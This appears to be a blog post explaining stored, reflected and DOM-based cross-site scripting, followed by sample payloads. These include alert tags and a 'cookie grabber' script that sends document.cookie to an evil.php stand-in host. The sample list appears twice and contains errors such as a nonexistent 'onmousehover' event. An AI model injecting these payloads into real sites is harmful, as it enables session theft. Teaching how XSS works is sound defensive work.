Cross Site Scripting(XSS) is the attack from client side in which attackers can use malicious script into the Web Application. Ab attacker can use the XSS to send a malicious script to an unsuspecting user.
The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site.
Cross-Site Scripting (XSS) attacks occur when:
- Data enters a Web application through an untrusted source, most frequently a web request.
- The data is included in dynamic content that is sent to a web user without being validated for malicious content.
The malicious content that sent to the web browser mostly in the form of JavaScript but in the format of HTML, Flash and any other type which can be execute in the browser.
XSS attack can be Stored, Reflected and DOM based
- Stored XSS Attack: In Stored attacks, injected script is permanently stored on the target servers, such as in a database, visitor log, in a message forum, comment field, etc. When user request to retrieves the stored information the malicious script retrieves from the server.
- Reflected XSS Attack: In Reflected attacks, injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web site. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server.
- DOM Based XSS Attack: DOM Based XSS is a form of XSS where the entire tainted data flow from source to sink takes place in the browser, i.e., the source of the data is in the DOM, the sink is also in the DOM, and the data flow never leaves the browser. For example, the source (where malicious data is read) could be the URL of the page (e.g., document.location.href), or it could be an element of the HTML, and the sink is a sensitive method call that causes the execution of the malicious data (e.g., document.write).
XSS attack may be conducted without the script tag. Following are the example
a. <body onload=alert("http://www.XSSattackexamples.com")>
it is on window load will redirect to the above website to leave your website.
b. <a onmousehover = alert('Attacked')>Click Here</a>
On mouse hover on link following "Attacked: alert will show.
c. Cookie Grabber: If any application is not accepting tha valid data then by using below code attackers easily can access the cookies of the system
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
d. <script>alert(123)</script>
e. “><script>alert(document.cookie)</script>
Further if you want to check that your website the vulnerable then below is the link . You can check from here
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
b. <a onmousehover = alert('Attacked')>Click Here</a>
On mouse hover on link following "Attacked: alert will show.
c. Cookie Grabber: If any application is not accepting tha valid data then by using below code attackers easily can access the cookies of the system
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
d. <script>alert(123)</script>
e. “><script>alert(document.cookie)</script>
Further if you want to check that your website the vulnerable then below is the link . You can check from here
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
Comments
Post a Comment